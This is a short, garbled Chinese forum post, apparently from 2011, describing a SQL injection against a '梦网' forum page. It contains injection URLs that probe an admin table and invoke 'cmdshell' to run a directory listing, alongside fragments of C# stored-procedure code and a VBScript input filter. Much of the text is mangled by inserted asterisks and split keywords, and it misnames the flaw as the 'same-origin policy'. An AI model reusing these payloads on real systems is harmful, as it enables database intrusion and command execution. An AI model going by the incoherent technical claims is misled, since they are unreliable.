(se+lectcount去掉+号)做这个之前,调用批处理文件已经崩溃好几次!返回结果总是出错。现在进入正题! 首先用一个SQL特殊字符对梦网数据库进行跨表查询,如下http://168.0.0.1/forum/showuser.as*=901 and 0<(se+lectcount(*) from admin),用必要的信息形成字符串/forum/showuser.asp?id=901’; *** @a sysna* set @a=’***’+ ’cmdshell’ *** @a ’dir c:\’---&*d=9,得到ASP后台代码如下:SqlConnection conn = new SqlConnec*tion(ConnectionString); conn.Open(); //设定SqlCom mand的属性 SqlCom mand cmd = new SqlCom mand(“移动梦网“, conn); cmd.Com mandType = Com mandType.StoredProcedure; cmd.Para*ters.Add(“@SourceStr“, SqlDbType.VarC har, 1000).Value = this.TextBox1.Text.Trim(); //901 cmd.Para*ters.Add(“@ReplaceStr“, SqlDbType.Va*rC har, 1000).Value = this.TextBox2.Text.Trim(); //替换后的字符(901) 这样只要能在出错的地方注入Scr ipt数据类型,所有安全控制几乎全部瓦解,这就是所谓的同源策略。消弱梦网安全模型后过滤函数:fqyString = replace(fqyString, “&#“, “&“) fqyString = Replace(fqyString, CHR(32), “ “) fqyString = Replace(fqyString, CHR(9), “ “) fqyString = Replace(fqyString*, CHR(34), “““) fqyString = Replace(fqyString, CHR(39), “’“) fqyString = Replace(fqyString, CHR(13), ““) fqyString = Replace(fqyString, CHR(10)&CHR(10), “</P><P> “) fqyString = Replace(fqyString, CHR(10), “<BR> “) CHK = fqyString end function 存储该过程PROCEDURE . @*SourceStr Var***(1000), @ReplaceStr Var***(1000) AS BEGIN 手动替换得到返回结果,这样一个简单的自用暂停系统就做好了[丿vIp丨贵族>宅男℡灬最后编辑于2011-1-22 6:38:15]
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